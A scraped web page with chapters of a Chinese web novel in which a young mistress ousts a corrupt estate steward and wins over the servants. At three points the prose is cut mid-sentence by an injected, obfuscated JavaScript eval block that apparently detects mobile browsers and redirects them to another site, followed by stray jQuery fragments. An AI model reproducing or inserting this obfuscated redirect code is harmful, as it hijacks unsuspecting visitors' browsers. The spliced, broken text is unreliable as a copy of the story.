这下子陈渠再无一丝顾虑,请安之后立刻转身去办事,摩拳擦掌要钉死白大管事。 毕竟管事儿的人怎么可能不吃油水,尤其是这个白成才,他是京师里主子亲自派下来的家生子,到了庄子上可谓是刮地三尺,什么都克扣就算了,甚至连庄子上的出息都不知昧下来多少! 如今只需要找到把柄,就能把白成才薅下去换成他陈渠! 陈渠带着心腹去白成才屋里破门掘地三尺搜查,最终不但把白成才藏在墙夹缝里的私人账本找了出来,甚至连他藏在枕头里的金叶子都没放过。 等到陈渠带着人汇报时,关怀素都不免震惊:“你说什么?这人藏了三百多两金银?!” “是!”陈渠呈上木盒,关怀素一看,这木匣子里整整齐齐摆着几个十两的银元宝,一叠厚厚的金叶子,金叶子下压着薄薄一叠下仆身契,再下面则是压着几张大额银票。 粗粗一看,陈渠说得还算保守。 下面则是几本账本子,同样的账本都是两本,看起来,这白管事确实不干净,一看就知道,一本是留底的公账,一本大约就是自己的私账了。 关怀素稍微看了一眼,就对门外头的陈渠说:“其他的还有什么?” “还有些就是生活杂物,并无值钱东西了。”陈渠恭敬回答。 关怀素稍微翻了两页那私账与公账,大约是常年在庄子上无人看管,这白管事的账目做得极其敷衍,关怀素这种常年看账目的人一眼就能从里头找出无数破绽,她只看了几行心中就有了数,对着陈渠漫不经心地说:“那院子打扫修葺一下,日后便给你住吧。” 反正白大管事是用不上了。 说完不等陈渠谢恩,又拿了三个十两的银锭子,说:“今儿你辛苦了,这一个是你的赏钱。” 关怀素把一个十两的银锭子递给陈渠,又推开另外两个,说:“这二十两,你拿着分给大家,晚间再张罗两桌好酒好菜。” 陈渠知道自己八仙庄大管事的位置算是坐稳一半了,顿时喜不自胜,跪下来就连磕了三个头谢赏。 出门就把关怀素赏钱的事情说了,小厮们登时轰然叫好,欢喜地高呼:“谢大姑娘赏赐!” 晚上杀鸡宰鸭,小厮们个个吃得满嘴流油,又分了赏银,旁的没得赏赐的登时也眼热,一时院子里的风气登时一新。 所有下人都愈发殷勤起来,晚上不但下人们来来去去巡夜十分警醒,便是晚上的夕食都足足上了十道菜,所有下人都恨不得给关怀素看看自己的本事。 而关怀素却安静下来,只让小荷掌了灯,连夜看起了账本。 到天色发白的时候,关怀素已经核对完了庄子上近两年的大额收支账目,心中彻底有了底。 第二天一早,关怀素召集了所有人,吩咐:“大家伙儿,库房的钥匙都交上来罢。” 此话一出,掌管着府里大小库房的各位管事就是一愣。 “是!姑娘!”陈渠第一个站出来,把怀里粮仓钥匙拿出来,飞快躬身放在了关怀素面前的八仙桌上。 陈渠这么一动,他这一系的小管事便都纷纷上交,倒是另外几个小管事脸色不好看,面面相觑,不肯上前。 “怎地,我们都交了,你们还不想交?”陈渠这会子早已经把自己当成了大管事,也知道既然已经投诚,那大姑娘要做什么,自个儿第一个就要冲锋陷阵,因此立刻出来呵斥。 那几个小管事给陈渠这么一呵斥,只能上前把钥匙交了。 关怀素昨儿连夜看完账本,早弄清楚了。 八仙庄有油水的就三把钥匙,一个是粮食、布帛的库房,另一个就是存值钱器物的库房,还有一个就是日常厨房支应的吃食、干货库房。 原先祖父管庄子的时候,也只分了这三个重要的库房让人专门看管,偏那白管事上任之后,大约是想制衡和安排亲信,原本是库房一串钥匙、粮仓一串钥匙、厨房一把钥匙,在他手上竟然都拆了,每人看管一把钥匙,大大小小弄出六七个小管事出来。 关怀素当然不打算继续保持下去。 当年跟着祖父学管家,祖父说的第一件事,就是放权。 关怀素把那几串粮仓钥匙一点点串起来,然后拿起圆环摇了摇,钥匙发出悦耳的撞击声,听得所有下人都心跳加速。 “陈渠,这粮仓,我以后就全交给你了。”关怀素对着站在最前面的陈渠说。 陈渠大喜,他这才算是真正地把大权力彻底拿到了手里了! 这可是庄子上的所有进项,陈渠立刻上前,从关怀素手里亲手接过钥匙,激动地跪地磕头,连声保证:“姑娘放心,绝不辜负姑娘厚望!” “起来吧,日后正常回话就是。”关怀素叮嘱他,然后又把库房的几个钥匙串起来,对身边的丁妈妈说:“丁妈妈,库房我就交给你了,明白吗?” “哎!明白!”丁妈妈万万没想到居然还有这种好事,立时激动地上前接过。 底下有与白大管事一脉的小管事眼看着他们的活计都被直接分完,忍不住上前说:“大姑娘,你没学过管家,许是不知道,丁妈妈并不识字,怎么能管理库房呢?她连账本子都写不明白!” “我会写字便成了。”关怀素笑了一下,看着下面的管事,说,“这件事情,大可不必你替**心。” 关怀素把钥匙交在了丁妈妈手上,笑着说:“事实上,今儿我正是要核对一下诸位掌管的仓库,看看东西是否对得上。” 此话一出,兀自愤愤不平的一些管事顿时脸色大变! “姑娘,这个,仓房……”一众小管事这时候哪有时间妒恨自己的权利被交出去? 这些年天高皇帝远,白大管事带着他们早已经把库房都蛀空了呀! 关怀素当然也心里有数,不过她要去清点库房,原本也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183283|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为了库房里有什么东西,为的就是在白管事回来之前,把他那一脉的人手全都先清理出去。 对此事,与白管事不亲近的小管事们自然巴不得,反正他们又没得什么好处。 于是关怀素一起身,众人立刻跟上,隐隐把白管事留下的十来个人排挤到了最后面。 当年此地能为皇庄,占地自然不小,事实上这个庄子前后加起来有五个院子,并左右两端两个花园,不但地方大,库房也比一般地方宽阔。 关怀素先检查库房,到了地方一进去,饶是大家都心里有所准备,却还是被吓了一跳。 关怀素指着空荡荡的库房里仅存的几个破桌椅板凳与一些农具器物,转头厉声喝问:“这便是你们管的库房?!” 管事哪里不知道这回是出大事了,咚的一声跪下,颤抖地说:“小的、小的……” 竟然是一时之间不知道说什么。 “原先是哪些人管的库房,全都捆起来!等我核对过账目,清点损失之后再行处置!”关怀素也不会和他们多言,只一间间查完了整个院子里的库房,发现账目里记载的、原本祖父与阿娘留下来的珍贵器物全都消失得干干净净。 这也就算了,到了粮仓之处一看,粮仓里的米都是陈米,且陈米都极少,只得几筐,剩下的多是粟与豆子,还有一点点麦子,看着也不足两筐。 “姑娘,庄子上原先产稻多,但是白管事来后,得知丁妈妈一家跟老爷子学了酿梨酒,因想邀功,逼迫佃农种梨树,想多酿梨酒,结果这几年因梨酒产量愈丰,愈发买不上价钱,偏稻田被占,反倒是收成愈发少了……”陈渠说到这里,辛酸无比,擦了一把眼泪,竟然是第一次如此真情实感地哭诉出声,“小的自十岁老爷子来了庄子上开始,全庄子下人都好容易日日吃上了米饭,却没想到这几年一日不如一日,如今咱们却已经每日只能吃南瓜混菽粟饭了……” 说到这里,原本还混着三分想把白管事拉下马的心思,到此时已经是全心全意地悲痛了。 确实,早几年平民多食菽粟,中间还要掺杂许多瓜果以充饥,但是如今这些年风调雨顺,一般人家也能多食杂粮米面,也难怪陈渠说到饭食如此委屈了。 “起来吧,这白管事不通经营也就算了,竟然如此乱来,这些年来委屈你们了。”关怀素适时温声安抚,又说,“原先是我年纪小,母亲的庄子也没顾上好好打理,你们放心,日后我必不让你们再受此委屈!” 这话一出,众下人都面露喜色。 关怀素看在眼里,心中知道火候差不多,等到了厨房,看到厨房的小仓库里倒是略好一些,但除了一些前几日买的蘑菇,几筐时令青菜之外,就只得几块腊味山货。 她心中已经是感慨至极。 因关怀素想到了祖父当年记载,八仙庄上,每到收成之时,粮仓满溢,库房里更是皮**、布匹与好木料堆满,厨房的仓库里,野味腊味摆满架子,山货干货更是不计其数…… 如今十几年过去,风调雨顺的,竟反而还不如当年了。 不过听陈渠所说就知道,就白管事那么乱来,日子能过好就奇怪了! “庄子上每年还能给京里送钱三百两,应当也支应艰难吧?”关怀素想着白管事账目上记载,忍不住叹气地说。 “是,先头还好,一年的出息,除去下人吃饭、月响、田地农具更换等等支出之后,每年交三百两绰绰有余,白管事在其中还能克扣许多,只是这几年愈发不成了,白管事又怕管的不好被薅了位子,只能开始变卖库房里的东西,他又不懂那些东西,全数贱价胡乱卖了填窟窿,卖干净了,到了这两年只得从庄子上与佃农手里克扣,姑娘许不知道,如今租庄子上的佃农,每年年息足足要到六成!”丁妈妈沉默了一路,只尽心伺候,到了此刻终于忍不住开口。 丁妈妈表情愤恨,又说:“我家里那丫头早年间嫁了庄子上的农户,原一家人过得和和美美,到了这两年,一年到头辛苦耕种,到头来去了税收与地租之后,留下的粮食还不够一年嚼用,还得我去贴补!她还好,还能找我贴补,其他庄户日子可就难过了……” “真是岂有此理!”关怀素听到这里,终于知道白管事那私账里面总是来历不明的租钱到底是什么,顿时大怒,连声说,“丁妈妈、陈渠,一会儿晌午你就告诉大家,就说关家后人回来了,以后规矩按关家的来,庄子上只收两成租子便好!若有人再找他们要,尽可来庄子上找我!” “姑娘,哎哟姑娘大恩啊!”丁妈妈一听,眼泪当场就出来了,与媳妇子几个就要跪下谢恩。 “不许跪了!”关怀素一把拉住人,温声说,“我说了,日后按我关家规矩来,不许随意下跪。” 此话一出,几个到此时都算是随波逐流、因为情势跟着关怀素的庄子上的老人都是心中一震,同时想起以前老先生还在的好日子,顿时从心底里油然生出一股子别样的情绪来。 “是,姑娘。”丁妈妈眼圈一红,左手三指捻着右手大拇指,右手四指伸直交叠在胸口处,端端正正行了个揖礼,口中说,“姑娘大仁大德,日后必福寿安康。” 陈渠也是如此,他站起身,认真地行了个礼,然后只说:“姑娘若有差遣,小人万死不辞。” 关怀素心中知道,此刻彻底到了火候,她才说:“原先管库房的人,管事不力,我却再留不得这种硕鼠在庄子里,这些人都捆了,明日先发卖了罢。” 到此为止,这庄子上的人终于清理干净,只剩下了愿意听关怀素话的人。 第八章 逐步安排 除去硕鼠,关怀素又给当场大家升了月钱,又说日后吃用都换回祖父在时的样子,每三日吃荤、每日换成白米,大家顿时喜得连连谢恩不提。 关怀素从昨儿早上忙到现在,终于初步掌握主动权,终于稍微松快了些。 但是她还没办法休息,回到屋子,她闭着眼睛,一边养神一边轻声问丁妈妈:“妈妈,你跟我说说,这些年你和陈渠他们这些老人,过得怎么样,家里如今都是什么光景?” 祖父的记载毕竟是几十年前的往事,她必须快速把身边的人都摸清楚,一则她需要有信得过的人去追查卖野菜的农户行踪。 二则……若是查不出来,关怀素可能要去李家查探。 这事儿关怀素看得很清楚,姐姐之死太凑巧,她不信是巧合。农户那边她不会放弃寻找,但是更简单的方法就是去姐姐生活过的地方,和姐姐平素打交道的人去接触一下。 反正姐姐若是真的被谋害,那么真凶肯定在京师。 而且……阿娘之死,若姐姐说的是真的,那么蹊跷肯定也在李家。 所以想来想去,李家这趟,关怀素必须走。 那么在离开之前,她必须保证自己对庄子绝对的掌控力。 丁妈妈心中也知道,大姑娘被送来庄子上三个月,连院子门都未出过,对大家也不甚了解,这会儿就立刻说起来。 丁妈妈和陈渠都是守着自己的手艺过日子,左不过是被晾着罢了。 三个跟着关老爷子学手艺的,最惨的唯有赵三,早年间竟被白管事抓住错处打了一顿,后来愤恨交加,回去之后没多久吐血**。 “他的后人,那个跛三,便是管花房的那个跛子是吗?”关怀素听到这里,眼睛睁开,竟是一丝睡意也无,只问丁妈妈。 丁妈妈一愣,立刻点头,说:“就是他。” 又叹了口气,说:“我们都叫他跛三,其实说起来,跛三也是个可怜的,如果不是白成才作恶,他哪里会跛脚。” 关怀素立刻问:“怎么?” “跛三她娘当年样貌不错,怀着跛三的时候,白成才就盯上她,还动手调戏,可跛三她娘哪里肯从,于是抵死反抗,结果没想到就被白成才派去收梨,非得让她一个大肚婆去亲自背……跛三他娘本就身子不好,前头两个孩子都没留住,被折腾了几个月,孩子生下来先天不足,她没熬过来,也走了,他爹也是因为这个事儿心中怨恨白成才,才被抓了错处打死的……”丁妈妈说到这里的时候,神色里都是怨恨,连声说,“这些年,那白成才仗着是家里老太太的家生子,很是作威作福,从没把我们当成人!” “你去,叫那跛三来。”关怀素闻言,心中立刻有了打算,温声对丁妈妈说。 “哎,是。”丁妈妈点头出去,没一会儿,小荷提着食盒进来了。 “妈妈临走吩咐,说姑娘小脸都熬得惨白,知道姑娘睡不着,至少稍微吃点东西。”小荷学着大人说话,从食盒里拿了几叠菜和粥来,麻利地说,“姑娘昨儿夕食说了不想吃荤腥,今儿就只做了青菜粥和几叠时令拌菜,清脆爽口,保证不油腻。” 关怀素心中一暖,她其实哪里是吃不下荤腥,实在是如今所有人都不知道,她的亲姐姐昨日去世了。 虽然世上没有其他人知道,关怀素也无法为姐姐守灵,但是起码,她想为姐姐茹素祈福,心中哀悼。 所以这三个月,关怀素都不打算食用荤腥,想默默为姐姐服丧。 她没想到,丁妈妈竟然这么贴心,主动担心她的饭食。 关怀素吃着那清爽的青菜粥,看着外头逐渐热起来的太阳,心中忍不住想,若是姐姐曾得到好好教养,这本该是姐姐能过上的平凡生活。 可是偏偏于自家庄子上,姐姐却生生**而死。 她一定要让那些人付出代价。 不论是谁,关怀素心中发誓,她一定要让那些人全都付出代价。 血仇,只能用血才能祭奠。 · 心中想着事情,关怀素才稍吃了一点东西,小荷进来禀报,说是跛三来了。 进门他跪下磕头,关怀素一点没弯弯绕绕,直接开口问:“跛三,可想为你娘报仇?” 跛三听了,脸上先是一惊,而后脸上闪过狂喜,立刻跪下,只说:“姑娘若是愿帮小人报仇,小人这条命以后都是姑娘的!” 关怀素一听,笑着说:“不需要你的命,你帮我去办两件事情。” “姑娘只管说!”跛三立刻便答应下来。 “第一,我要你去收集白成才这些年欺男霸女的证据,最好是能找到苦主。”关怀素冷声说,“至于第二件事情,我要你去京师里打探一下关于李家的事情,任何流言、传言都行,全部都记下来,回来告诉我。” 跛三一丝也不曾犹豫,立刻躬身,斩钉截铁地说:“姑娘放心,此事我定然办好!” “好!”关怀素笑了一下,使了个眼色,丁妈妈立刻上前给了跛三一个钱袋子。 关怀素温声对他说,“跛三,你父母大仇能否得报,就看你了。” 跛三接过去,并不说话,只在地上磕了三个头,然后立刻去办事了。 看着跛三离开,关怀素温声对丁妈妈说:“丁妈妈,如果我预估的没错,大概最多一个半月左右,我就要回京师了,到时候你可愿意跟着我回去?” 丁妈妈猝不及防,一下子愣住了。 关怀素之所以想带丁妈妈回去,当然也不是一时兴起。 昨儿个收拢了人,这几日连着审问,那些卖断肠草的乡民依旧是没有一点痕迹。 那便只能回京师找线索了。 而她要回李家,必须有自己信得过的下人,否则回去了也施展不开,这是其一,第二是身边有自己人占了位置,也免得有人往她身边安插人手。 挑中丁妈妈,是因为关怀素发现丁妈妈这人有点精明不说,还有点彪悍之气,回到李家应当能顶点事儿。 且最难得的是,丁妈妈这人虽然精明市侩,但是心底却有一点真情,起码还知道察言观色,为她身体担心,这种人是作为心腹的好胚子。 关怀素极其需要这样一位妈妈为她在李家打开局面,因此看到丁妈妈犹豫,关怀素立刻抛出筹码,温声对丁妈妈说:“丁妈妈,李家后宅复杂,少不得妈妈委屈。若是妈妈愿意跟着我,庄子上梨子产量颇丰,总是做梨子酒,多了价贱。但是我却是跟祖父学了一点旁末伎俩,刚巧知道如何用果子酿果醋。” 她说到这里,笑意盈盈地对着不可置信的丁妈妈说:“若是妈妈愿意帮我,我刚巧也是需要几个贴心人帮我在庄子上做这门活计……” 丁妈妈愣了一下,脸上犹豫变成了不可置信。她声音都在颤抖,问关怀素:“姑娘,您、您这是什么意思?” 要知道,当初老太爷一张酿酒方子教给她爹,叫她得了这个手艺,在庄子上斗得最狠的时候,她都未曾有一丝害怕过。 哪怕当时白大管事找人偷师了怎么酿梨酒,但是只要丁妈妈藏着最关键的一点门道,她酿的酒就是比其他人甘冽清香,那就是她可以在庄子上照顾一家老小活得好好的底气! 所以一门独门手艺多么珍贵,可见一斑。 而如今,大姑娘居然这么简简单单就要又给她一门新手艺,这让丁妈妈怎么能不惊讶? “妈妈怕也看得出来,我在家中光景并不好,只怕少不得劳累妈妈跟着我受委屈,当然不能白叫妈妈跟着我吃亏。”关怀素永远记得祖父的教导,深知驱使任何人做事,都不可把人的付出当理所当然,哪怕是对下人也是如此,尤其是对心腹,更是必须帮人把心中最深的牵绊都安排好,如此方能让人安心跟着自己。 果然,丁妈妈原本微微有些犹豫——她在庄子上大半辈子,虽知道跟着大姑娘回府,以后是正经房里妈妈,日子大不相同,但是她孩子家人都在庄子上,日子稳当,大户人家事情多,她其实心中也是有点犹豫的。 可是大姑娘竟然拿出了这么丰厚的条件,丁妈妈哪里还有犹豫?听到关怀素这么说,她心中狂喜,只连连行礼,忙说:“哪里当得姑娘说劳累?姑娘用得上老婆子,老婆子舍出去这条命也要把姑娘安排的事办好!” “那妈妈替我先办一件事情。”关怀素笑着打蛇随棍上。 兰花和碧桃还在柴房里,这两个间接害**姐姐的婢女,关怀素原本盛怒之下,是打算打板子之后把人卖掉的。 但是冷静下来之后,关怀素却反而放弃了这个打算。 这两个婢女,不管是谁手里的人,关怀素都打算先留着,先审问一番。 “妈妈,你替我去挑拨一下兰花与碧桃,再让人在门口听一下她们日常吵嘴说的什么话,然后到时候一起告诉我。”关怀素笑了笑,说,“刚好我过几天整理好全部的账目,就能开始安排一下庄子上的耕种和酿醋之类的事儿了。” 丁妈妈眼睛一亮,声如洪钟地回答:“姑娘放心,老婆子一定给姑娘办得妥妥当当!” 答完,钟妈妈请了个礼,雄赳赳气昂昂地出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183284|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了,气势不输跛三。 连着两天忙乱,屋子终于彻底回归了安静,只剩下小荷一个小姑娘过来倒茶的时候,关怀素终于露出了疲态,筋疲力尽地靠在椅子上。 下一刻,温软的小手放在了头顶,认认真真地按摩起来。 关怀素一愣,愕然地问:“小荷,你怎么还会给人按头?” “爷爷教的。”小荷轻声闷声说,“我是庄子上买进来的,家里原先是庄子上的佃户,因家里交不上今年的租子,又恰好大姑娘这里缺人手,家里就把我卖进来抵租子了。” 小荷这番话,说得关怀素心中一软。 她沉默了一瞬,然后轻声问小荷:“小荷,你想回家吗?” 小荷沉默了好一会儿,突然问她:“姑娘,我阿爷和爹爹总说,原先老太爷和大姑娘在的时候,八仙庄是天底下最好的地方,人人都能吃饱饭、人人都能过好日子……是李家人害了咱们姑娘吗?” “小荷,你才多大,这些事情和小孩子没关系。”关怀素叹了口气,不让小荷继续按,而是转身,摸了摸小荷的脑袋,轻声说,“小荷要是想回家,就跟我说,我送你回去。租金啥的,等我清点完,也要把多交的还给大家的,你不必担心回去后的衣食了。” 关怀素是认真的,因为小荷只是个十来岁的孩子,而且关怀素和她相处这两天看得出来,小荷天性纯善,是个懂恩知礼的小姑娘。 关怀素愿意送她回去享受天伦之乐。 小荷却嘴巴一扁,眼泪一串串地下来了。 她突然带着哭腔说:“姑娘,原先、原先姑娘也说,说白管事收太多租了……哇……” 关怀素一愣,听小荷哭着说了半晌,关怀素才明白过来,原来小荷当日跟在姐姐身边,也听到姐姐恰好看到下人拉了租子回来,愕然怎么如此多,还以为是不得了的丰年。 后来听说收了六成租子,姐姐心中大骇,觉得也太多了些,佃户岂不是过不下去了? 因此她找到白管事,想让白管事把租子至少还一半回去,却没想到反遭到了白管事的一顿奚落,被堵得哑口无言,回来之后反倒哭了一场。 “姑娘和姑娘,都是好人,阿爷和爹爹说得对,关家老爷和姑娘都是好人,李家是坏人,都是大坏蛋……呜呜呜……”小荷哭得抽气,她半大的小姑娘,边说边哭,但已经算很有条理,只是说到愤怒的时候,却不免还是露出了孩子气来。 关怀素知道姐姐曾如此受辱,本也难过,却见小荷哭着哭着,一擦脸,突然认真地说:“姑娘,小荷愿意跟着姑娘。哪怕是端茶送水,小荷也愿意。” 关怀素一愣。 小荷却完全误会了,她扁了扁嘴,说:“小荷是没有丁妈妈有用,也不会别的,姑娘、姑娘是不是嫌弃小荷……” 说到这里,这小姑娘又要哭了。 关怀素一愣,一直强迫自己冷静下来的自制力,在这一刻却突然一下子短暂地崩解了一瞬。 她鼻子一酸,哽咽地说了一句:“不是嫌弃。” 说完,关怀素不敢再说话,只轻轻地抱了抱小荷。 小姑娘身体软软的,热热的。 关怀素抱着她,心中想到祖父曾对她说过,“持心清正,天地不孤。” 她这些年,陆续接连两位至亲之人去世,尤其是姐姐还这么年轻,死得还那么惨烈,关怀素口中不说,但是其实郁愤至极。 她的姐姐,就这么悄然地离去了,而这个世界无人知晓,甚至仿佛轻的不足以惊起一粒尘埃。 这种认知,让关怀素愤恨至极。 但是此刻,她心中的愤恨、痛苦,突然都被十来岁的小姑娘小荷完完全全地抚平了。 天地不孤。 这世界上,还有一个赤诚之心的小小孩童,还记得那个大姑娘,记得那个温吞懦弱,想为人出头却被骂哭了的温柔姐姐。 这就够了。 关怀素心中一软,抱着小荷温声安慰。 她心中想,姐姐,你看,你的温柔有人看到,有个小姑娘承蒙你的恩泽,如今小小一个,甚至反倒想帮我了。 多可爱啊。 关怀素心中又是感动,又是难过。 这世间原本这样好,若是姐姐还在,那该多好? 哪怕是多坚持一天,等到关怀素来了,悲剧也不会发生了,却偏偏阴差阳错,就是一天的差距,就是阴阳两隔。 不过没关系,至少,做了坏事的人,全都要付出代价。关怀素眼中含泪,心中默默地想。 第九章 白管事归来 时光匆匆就过了一旬有余,关怀素日日看着账本,终于把这些年庄子上的账目梳理完毕。 而在这期间,跛三也展现出了他自己的能力,没多久查出了许多白大管事在庄子上欺男霸女甚至逼迫寡妇的事情。 “姑娘,再给我一点时间,我就能说服他们站出来作证告发白成才了!”跛三压抑着激动对关怀素解释说,“大家虽然都信服关家,但是到底事关重大,我已经说服几家,估摸着再有一点时间,就能叫剩下人也答应!” 这情况已经比关怀素想的好多了。 当然,跛三和关怀素这里行事顺利,白成才目前也是十分顺利的。 在京师奉上了下半年的出息,给老夫人送去一百五十两白银,又送了新的米粮干货,又狠狠奉承一番老夫人。 那边在李家事情办完,白成才便带着几个心腹,在京师的花楼里住了一旬,才终于尽兴,终于肯带着人慢吞吞地回庄子上来了。 白成才五十出头,体矮肥胖,眼下乌青,瞧着便是个被酒色掏空的样子。 他回来的时候,身边跟着六七个心腹小厮,一群人白日之中就喝得醉醺醺的,进门的时候白成才还在喊:“都在作甚呢?还不快出来开门接你爷爷我!” 门子是新提拔上来的,听到声音,虽心中早知道有这一天,事到临头还是有些害怕,战战兢兢地开了门,当头就被白大管事踹了一脚。 “你是哪个?王三去哪儿了?!”白管事虽醉的糊涂,但是到底没醉死,看到门子换了人,立刻不满地怒骂起来,“哪个王八羔子趁着我不在,在庄子上胡来?去把张富喊过来!” “白管事,这都是大姑娘的吩咐,您快回去歇歇吧!”门子心里叫苦,心想你那些手下如今都关在柴房,一天只得一顿稀南瓜粥,如今饿得骂人的力气都没有了。 可这也不能告诉白管事啊,否则今儿不闹翻天? 于是门子便想拉出大姑娘来,让白管事赶紧回去躺着,却没想到白管事醉醺醺地想了一会儿,才想起来大姑娘到底是何人。 想起来之后,白管事便哈哈大笑了几声,然后说:“你说院子里住的那一棒子蹦不出三个屁的大姑娘?她把王三儿换了?你在与我扯什么卵蛋?!” “真是大姑娘啊!白管事你才走的时候,这、这庄子上出了大事!”门子赶紧把大姑娘差点**的事情说了,末了说,“大姑娘这才换了许多人手,门子也才换了小人。” 若是其他主子在庄子上差点**,白管事这会儿估计酒都要吓醒——这要是真追究起来,管家管到主人被毒害,那可是一干人等都要**的大罪!他这个大管事首当其冲! 可是若是受害者是那大姑娘,白管事脑子里却完全没有任何紧张感,大概是喝酒之后思路更为没有约束,白管事反而生出一股恼怒来! “白管事?!”小厮们就看到白管事突然气哼哼地往院子里走,纷纷跟上去追问,“咱们是回屋去?” “回个屁!去找大姑娘说道说道!”白管事怒气冲冲地说。 “啊?”小厮们晕晕乎乎,其实隐约也觉得似乎有点不对,但是都跟着白管事凶横惯了,竟然也没多想,只一群人乌压压顺着门廊一路往二院里冲过去。 “哎哟,白管事,你这是在作甚?”二院门口自整治之后,已经有人当值看守,不像是以前那般,这会儿二院门口守着的婆子一看到白管事气势汹汹地冲过来,立刻惊问起来。 “让开,我找大姑娘!”白管事怒气冲冲地踹了要来拦的婆子一脚,踹的婆子一个打滚,疼得直抽气。 婆子看着不好,立刻冲出去找人。 这头,关怀素在里屋,正在拿着账本子看呢,突然听到门外传来丁妈妈惊叫声:“白管事,你怎么没通传就进来了?!” 哪怕丁妈妈不知道高门大户的规矩,但是起码知道姑娘的闺房院子是不能随意乱闯进来的。 “你滚开!让大姑娘出来!”白管事借酒撒泼,还想去踹丁妈妈,但是丁妈妈可不是一般婆子,她常年酿酒,大酒缸动辄百把斤的重量,没点力气怎么能搬得动? 更何况丁妈妈是乡下婆子,和邻里吵起架来可不会文绉绉地互相叫骂而已,骂到火气上来,乡野妇人少不得就得亲自上手打一架。 因此看到白管事来踹自己,丁妈妈是一点也不怵,一手薅住白管事的腿,就是一扯! 这一下大力一扯,白管事本就醉醺醺的,加上他常年作威作福惯了,压根没想过丁妈妈竟敢还手,于是瞬间被扯的往前一扑,重重摔倒在地。 “你这个杀千刀的泼妇!居然敢对我动手!你给我等着!”白管事这一摔,气得酒都清醒了一点,在地上杀猪一样地嚎叫着冲丁妈妈大吼大叫。 “你这喝了二两猫尿就不晓得天高地厚的王八,也不仔细打量一下这是哪里,在姑娘的屋里也敢这么大呼小叫,我等着,我看看你要怎么整治我!”丁妈妈如今可不怵白管事,且她也知道姑娘为啥要用她,无非就是有些话,姑娘不好说,有些事儿,姑娘不好做,所以要用到她们这些下人。 丁妈妈一则是下了狠心,为了手艺也要为姑娘效死,二则白有才这贱种多年行事十分跋扈,若不是她盯得狠,那老匹夫也曾差点把主意打到她女儿身上。 新仇旧恨的,丁妈妈巴不得有这样的机会,好好亲手打白管事一顿,这会儿看白管事还敢说狠话,丁妈妈立刻在就拿着大棍子往白管事身上招呼。 而白管事身后的几个小厮哪里见得自家老大被打?立刻冲过来想揍丁妈妈。 “都给我站住!”关怀素从屋里一出来,看到的就是院子里厮打成一群的人。 偏这些人一点没把她这个大姑娘放在眼里,竟都朝着丁妈妈厮打。 丁妈妈纵然是个身手敏捷的,也打不过这么多小厮,立刻便被锤了几下,疼得惨叫起来。 “都站住!”恰在此时,听到婆子汇报的陈渠匆匆带着人进来了,一进门看到屋里厮打成这般模样,吓得立刻对身后的众小厮说,“还不快把人抓起来!” 身后的小厮轰然应声,冲过去撕扯开来,这才把一群人分开了。 “姑娘,小的该死,小的来迟了!”陈渠再看廊下站着的大姑娘粉面含霜,知道大姑娘是真怒了,立刻上前请罪。 “不怪你,谁能想得到,家里养的狗也会咬主人。”关怀素确实不怪陈渠,谁家仆人如此胆大包天,居然纠结小厮冲到主子屋里**?她都未曾想到,否则一定早早派人看着这二院了。 按关怀素心里的想法,她以为这白管事哪怕再蠢,也知道稍微忌惮一点她主子身份,就算是生气,回来之后定然也是想办法慢慢与她周旋。 为此关怀素心中已经想好了不知多少办法。 却没想到不知道是这白管事太蠢,还是他太过肆无忌惮,竟然敢擅闯主人屋子! 关怀素自小到大,第一次跟这种蠢货打交道,别说还真是让她差点猝不及防。 但是面对蠢货,倒也不会太困扰。 “陈渠,把他们捆了,拿点冷水来,给白管事他们醒醒酒!”关怀素冷声吩咐。 陈渠巴不得如此,立刻让手下捆了人,很快打了冰凉的井水来,“哗啦啦”几桶水浇下去,本来就是借着酒气撒泼的白成才终于彻底清醒了。 喝醉了也不是疯了,只是思维混沌一点罢了,若说一开始白管事还有借酒装疯故意过来给大姑娘下马威的想法,这会儿看着在廊下已经坐下的大姑娘,白管事心里终于意识到了一件事情——这大姑娘,好像在他不在的日子里变了另外一个人了! 原先大姑娘胆小怕事,性格讲好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183285|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是好人,讲的不好听一些,便是懦弱。 像是今儿这个情况,大姑娘绝对不会敢让人捆他们,指不定看到丁妈妈被打,也许还会自己冲过来一起与丁妈妈挨打! 可是现在大姑娘却只在廊下看着,等着人来了之后立刻发落他们。 白管事一瞬间意识到了,如今的大姑娘不好弹压。 按道理来说他应该立刻请罪,起码彻底缓过来之后再多筹谋,可是十几年在庄子上作威作福惯了,十几年独断专行当这乡下土财主下来,白成才也早已经变得迟钝又自大。 “姑娘!我好歹也是老夫人的人!家里规矩,向来是长辈身边伺候的人也大过小辈,你怎么能如此对我!”白管事心中愤怒,脱口而出! 